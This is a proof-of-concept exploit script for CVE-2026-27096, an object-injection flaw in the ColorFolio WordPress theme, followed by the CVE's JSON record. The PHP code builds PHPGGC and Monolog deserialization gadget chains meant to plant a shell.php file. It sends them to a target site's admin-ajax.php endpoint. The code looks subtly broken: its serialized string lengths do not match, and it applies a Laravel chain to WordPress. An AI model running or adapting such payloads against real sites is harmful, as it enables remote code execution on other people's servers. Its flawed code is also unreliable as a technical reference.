CVE-2026-27096

<?php // CVE-2026-27096 PoC - ColorFolio WordPress Theme Object Injection // Generate malicious serialized payload using PHPGGC require_once 'PHPGGC/lib/PHPGGC.php'; // Generate gadget chain for Laravel/RCE $payload = (new PHPGGC\GadgetChain\Laravel\RCE(\$_GET['gc'] ?? 'system')) ->generate(['id']); echo "Malicious Payload: " . $payload . "\n"; // Alternative: Manual construction for WordPress $pop_chain = 'O:31:"Monolog\Handler\StreamHandler":2:{s:11:"\x00*\x00filename";s:14:"shell.php";s:10:"\x00*\x00maxFiles";i:-1;}'; // Send payload to vulnerable endpoint $target_url = 'http://target-site.com/wp-admin/admin-ajax.php'; $data = array( 'action' => 'colorfolio_ajax_action', 'data' => $pop_chain ); $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $target_url); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, $data); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $response = curl_exec($ch); curl_close($ch); echo "Response: " . $response; ?>

{"cve": {"id": "CVE-2026-27096", "sourceIdentifier": "[email protected]", "published": "2026-03-19T06:16:25.190", "lastModified": "2026-04-28T19:37:14.127", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Deserialization of Untrusted Data vulnerability in BuddhaThemes ColorFolio - Freelance Designer WordPress Theme allows Object Injection.This issue affects ColorFolio - Freelance Designer WordPress Theme: from n/a through 1.3."}, {"lang": "es", "value": "Vulnerabilidad de deserialización de datos no confiables en el tema de WordPress BuddhaThemes ColorFolio - Diseñador Freelance permite la inyección de objetos. Este problema afecta al tema de WordPress ColorFolio - Diseñador Freelance: desde n/a hasta 1.3."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-502"}]}], "references": [{"url": "https://patchstack.com/database/wordpress/theme/colorfolio/vulnerability/wordpress-colorfolio-freelance-designer-wordpress-theme-theme-1-3-deserialization-of-untrusted-data-vulnerability?_s_id=cve", "source": "[email protected]"}]}}